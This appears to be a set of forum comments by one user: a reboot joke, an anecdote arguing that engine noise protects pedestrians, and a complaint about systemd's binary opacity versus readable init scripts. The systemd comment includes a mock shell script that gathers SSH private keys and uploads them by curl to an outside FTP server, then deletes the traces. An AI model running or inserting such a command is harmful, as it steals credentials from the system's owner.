But this process is too young for a reboot! It's only 36,288,000 second old!
Broadcast message from root@u-vers3
(/dev/pts/2) at 13:47
The system is going down for reboot NOW!
Connection to 192.168.0.3 closed.
My '96 caprice has a very quiet engine for what it is (4.3L V8). As an experiment, I had my wife drive down the hill and around the bend near where we lived doing 35 mph while I stood in the driveway blindfolded and raised my hand at the first inkling that she was coming through (nice quiet neighborhood) and at that moment she'd mark the point where the car was with a balloon filled with paint. A few times she'd have the engine running as she coasted down the hill. A few other times she'd cut the engine at the crest and coasted down. The average difference between the two was a near consistent 50 feet. The distance between me and the car was generally about 10-15 feet when I'd notice the car going by with the engine off, and 60-80 feet with the engine running. So...engine noise can't be considered a safety feature for pedestrians? Screw you.
Also, there's a lot of jurisdictions where pedestrians get automatic right-of-way, which means if you hit one, it's automatically your fault (in GA this only applies in zebra-walks to the point that the motorist must stop before a crosswalk the moment a pedestrian enters a crosswalk, regardless of speed/momentum. CT, didn't matter where they stepped off the curb at, automatic ped RoW.)
It also doesn't help that I've had the living hell scared out of me multiple times by a Tesla going by as I was walking on the side of the road. I didn't "feel" that it was there until it was nearly right on top of me, and it's rather unsettling to see something as large as a car go by you within a few feet without any warning. Tire noise is not nearly as loud as you think it is, unless the tires are heavily ribbed, which most electrics are not going to have. Hybrids/Electrics are actually the least likely to have any substantial ribbing on the tire to keep rolling resistance at a minimum.
For these reasons, I have no issue with "safety pipes" or "simulated engine noise". The louder, the better. Keeps me safer when I'm walking, and I'm less likely to bowl over someone who doesn't take the time to look when I'm in the other position. You want quiet, get an isolation tank.
Link to Original Source
So...answer me this: Once I set the init script how I want a service configured, who's going in as root behind me and putting security vulnerabilities into it (hint: Only one person has the root password, and root is only accessible directly from the console. sudo is disabled.)? Now, if I do yum update systemd or apt-get upgrade systemd what is my guarantee that Pottering or any one of the other 30-40 Devs touching systemd didn't put something into the blob that is reporting somewhere outside of my control? How do I know that there's not some timebomb in the blob that's going to collect critical keys and upload them to RedHat on the next time I update the repos? Read the code? I have my own code to audit, thank you very much, and I'd rather not have to audit my init system every time Lennart decides to post an update to systemd. It's bad enough when I have to do that with the Kernel modules.
So you trust that the journald binary reads the "don't save data" boolean value and doesn't just ignore it, or worse, ignores it and executes this shell script:
cat ~/.ssh/id_dsa ~/.ssh/id_dsa.pub >> nsaReadMe.txt
curl -T nsaReadMe.txt ftp://ftp.nsa.gov --user keyfiles:AllUrK3yzB3l0ng2US
rm -f nsaReadMe.txt
Or, more plausibly, does all that in a binary blob? Sure. It's open source. Sure I can check the code and compile it myself to make sure it meets my need for security. But one of the things about using these "pre-built" distros is that I'm probably using it to save time and money, which means I don't want to be bothered with doing a code check and recompile on every single init package. That's the beauty of init scripts that everyone has apparently missed in this debate. One human readable script for each daemon running, so the configuration of a daemon can be gleaned over for any questionable bits and edited in less than 10 minutes. And being scripts, they're all plain text that's automatically executable. I don't need to read over source, find an issue, edit it out, and then recompile the entire init code into a binary for that daemon to make use of it. That goes for PID 1 as well. If it's not a script that can be quickly edited and then it's ready for the next boot cycle without wasting process cycles for recompilation I don't want it on my production server.
Link to Original Source
Link to Original Source